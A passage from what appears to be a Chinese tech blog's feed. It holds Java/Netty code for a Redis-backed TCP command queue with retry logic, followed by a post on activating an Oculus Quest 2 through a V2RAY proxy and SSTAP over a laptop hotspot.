class="title">pushCommand</span><span class="params">(String deviceId,String responseData)</span> </span>{</span><br><span class="line">Command command = <span class="keyword">new</span> Command();</span><br><span class="line">command.setDeviceId(deviceId);</span><br><span class="line">command.setResponseData(responseData);</span><br><span class="line">command.setTime(<span class="keyword">new</span> Date().getTime());</span><br><span class="line"><span class="comment">//放入队列</span></span><br><span class="line"><span class="keyword">boolean</span> r = redisTemplate.opsForList().leftPush(REDIS_COMMAND_LIST, JacksonUtil.toJSon(command))><span class="number">0</span>?<span class="keyword">true</span>:<span class="keyword">false</span>;</span><br><span class="line"><span class="comment">//每超过10条指令创建一个可结束的执行指令线程</span></span><br><span class="line"><span class="keyword">long</span> size = redisTemplate.opsForList().size(REDIS_COMMAND_LIST);</span><br><span class="line"><span class="keyword">if</span>(size>=<span class="number">20</span>&&size%<span class="number">20</span>==<span class="number">0</span>) {</span><br><span class="line">logger.info(<span class="string">"当前队列指令条数:{} mod:{}"</span>,size,size%<span class="number">20</span>);</span><br><span class="line">pool.execute(()->sendCommandByQueue(<span class="keyword">true</span>));</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> r;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">boolean</span> <span class="title">sendCommand</span><span class="params">(String deviceId,String responseData)</span> </span>{</span><br><span class="line">Channel channel = NettyChannelManager.getChannel(deviceId);</span><br><span class="line"><span class="keyword">if</span>(channel!=<span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">//将16进制指令转换成字节</span></span><br><span class="line"><span class="keyword">byte</span>[] resp = TCPServerUtils.makeResponse(responseData);</span><br><span class="line"></span><br><span class="line"><span class="comment">//把发送的消息缓存起来,等待客户端的响应</span></span><br><span class="line">NettyChannelManager.putSendMessage(channel,resp,responseData);</span><br><span class="line"></span><br><span class="line"><span class="comment">//发送指令</span></span><br><span class="line">channel.writeAndFlush(resp);</span><br><span class="line"></span><br><span class="line"><span class="comment">//每1.5秒后检查是否已经收到了回复,共检查3次</span></span><br><span class="line">Timer timer = <span class="keyword">new</span> Timer();</span><br><span class="line">timer.schedule(<span class="keyword">new</span> TimerTask() {</span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>{</span><br><span class="line">SendMessage checkMessage = NettyChannelManager.getSendMessageByParamter(channel);</span><br><span class="line"><span class="keyword">if</span>(checkMessage!=<span class="keyword">null</span>) {</span><br><span class="line"><span class="keyword">if</span> (checkMessage.getTimes() <= <span class="number">3</span>) </span><br><span class="line">{</span><br><span class="line">checkMessage.setTimes(checkMessage.getTimes()+<span class="number">1</span>);</span><br><span class="line"><span class="keyword">byte</span>[] data = (<span class="keyword">byte</span>[]) checkMessage.getData();</span><br><span class="line"><span class="comment">//如果没有收到回复,则重新发送</span></span><br><span class="line">TCPServerUtils.writeAndFlush(channel, data);</span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">//移除发送中的消息</span></span><br><span class="line">NettyChannelManager.removeSendMessageAndRedisMsg(channel);</span><br><span class="line"><span class="comment">//超过3次就不管了</span></span><br><span class="line">timer.cancel();</span><br><span class="line">}</span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">timer.cancel();</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}, <span class="number">3000l</span>,<span class="number">1500l</span>);<span class="comment">//3秒后才检查是为了留出上报状态的时间,上报成功后会移除SendMessage</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可调用<code>public boolean pushCommand(String deviceId,String responseData) </code> 方法将指令放入队列,等待获取指令列队的线程执行。</p><p>指令实体类:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Command</span> </span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> String deviceId;</span><br><span class="line"><span class="keyword">private</span> String actionCode;</span><br><span class="line"><span class="keyword">private</span> String responseData;</span><br><span class="line"><span class="keyword">private</span> Long time;</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getDeviceId</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> deviceId;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setDeviceId</span><span class="params">(String deviceId)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.deviceId = deviceId;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getActionCode</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> actionCode;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setActionCode</span><span class="params">(String actionCode)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.actionCode = actionCode;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getResponseData</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> responseData;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setResponseData</span><span class="params">(String responseData)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.responseData = responseData;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> Long <span class="title">getTime</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> time;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setTime</span><span class="params">(Long time)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.time = time;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1><span id="结尾">结尾</span></h1><p>最后一个注意点,一定要做重试机制,TCP传输过程中很可能会丢包,我目前的做法是在发送消息成功后保存一个临时的缓存,当接收到客户端回复后将缓存移除,如若一直未接收到回复(比如1秒后)则再次重新发送。</p>]]></content>
<summary type="html"><h1 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h1><p>本文记录了在使用netty作为TCP服务端的情况下,如何解决TCP粘包、半包问题,以及如何使用16进制与客户端进行通信。</p>
<h1 id="依赖"><a href="#依赖" class="headerlink" title="依赖"></a>依赖</h1><p>首先添加maven依赖:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.netty<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>netty-all<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure>
<h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><h3 id="创建字节转换类"><a href="#创建字节转换类" class="headerlink" title="创建字节转换类"></a>创建字节转换类</h3><p>首先创建一个将字节转换为16进制的处理类,并判断包头包尾是否正确。</p></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="netty" scheme="https://reiner.host/tags/netty/"/>
<category term="TCP服务端" scheme="https://reiner.host/tags/TCP%E6%9C%8D%E5%8A%A1%E7%AB%AF/"/>
<category term="TCP粘包" scheme="https://reiner.host/tags/TCP%E7%B2%98%E5%8C%85/"/>
<category term="TCP半包" scheme="https://reiner.host/tags/TCP%E5%8D%8A%E5%8C%85/"/>
<category term="16进制通信" scheme="https://reiner.host/tags/16%E8%BF%9B%E5%88%B6%E9%80%9A%E4%BF%A1/"/>
</entry>
<entry>
<title>OculusQuest2激活教程(无需智能路由器)</title>
<link href="https://reiner.host/posts/397a07c0.html"/>
<id>https://reiner.host/posts/397a07c0.html</id>
<published>2021-03-19T06:17:10.000Z</published>
<updated>2021-12-24T12:18:32.973Z</updated>
<content type="html"><![CDATA[<h1><span id="前言">前言</span></h1><p>最近上AMAZON买个台Oculus Quest2玩玩,前前后后折腾了整整一个星期才终于搞定激活问题!因此这在里写下记录希望后来的网友们少走弯路。</p><p>找了下网上的教程发现需要借助智能路由器,而我平时不怎么需要这个东西,就为了激活而买个路由器也不划算,因此我选择了笔记本共享热点的方式。</p><p><strong>说道Oculus quest2 我想先简单的评测下,先说说它的优点:</strong></p><ul><li><p>支持透视,找手柄时不用摘下头盔了</p></li><li><p>支持手势操作,简单的操作无需手柄了</p></li><li><p>最大的优势—–>没有乱七八糟的线!比如PSVR就要插一堆线,每次看着这么多线就没有开启的动力了</p></li><li><p>一体机,即可以直接使用又可以WIFI串连电脑玩STEAM VR游戏!</p></li><li><p>AMAZON退税后约只需1900-2000左右(不要上TB买JS的)</p></li></ul><p><strong>再说说它的不足之处:</strong></p><ul><li><p>清晰度和PSVR相差不大,至少我的眼睛感觉没有明显差距</p></li><li><p>头戴的那个带子刮耳朵</p></li><li><p>一会儿要充电了</p></li><li><p>国内用户无法直接使用</p></li></ul><p>总体来说是目前VR里体验最好的了,不用插线实在是方便</p><span id="more"></span><h1><span id="前置条件">前置条件</span></h1><p>需要准备以下东西:</p><ul><li><p>支持共享热点的笔记本一台</p></li><li><p>V2RAY以及支持UDP转发的节点(如果不知道V2RAY是什么请先学习相关内容)</p></li><li><p>SSTAP(一个本地代理转发的软件)</p></li><li><p>(可选)支持5G信号的路由器,因为2.4G的WIFI串流会卡</p></li></ul><h1><span id="开始配置">开始配置</span></h1><p>1、首先配置好V2节点,再打开配置界面分别勾选上“UDP转发”以及”允许局域网连接“这两个选项,然后右键右下角的V2图标将代理模式改成全局模式</p><p>2、打开windows10自带的移动热点分享,开启热点分享此时网络适配器控制面板中会多出一个名字叫本地连接12的东西,如果系统没有自带热点功能,请使用其它WIFI共享软件代替</p><p>3、打开SSTAP,点击+号选新建SOCKET5代理,代理地址填127.0.0.1,代理端口填10808(V2RAY默认代理端口就是这个,如有修改该端口可在配置里修改),代理网卡选刚才开启分享的热点(比如名字叫本地连接12),点击启动</p><p>此时网络适配器控制面板中会多出一个名字叫SSTAP1的连接,右键属性选共享,勾上刚才开启热点产生的本地连接12。</p><p><img src="data:image/jpeg;base64,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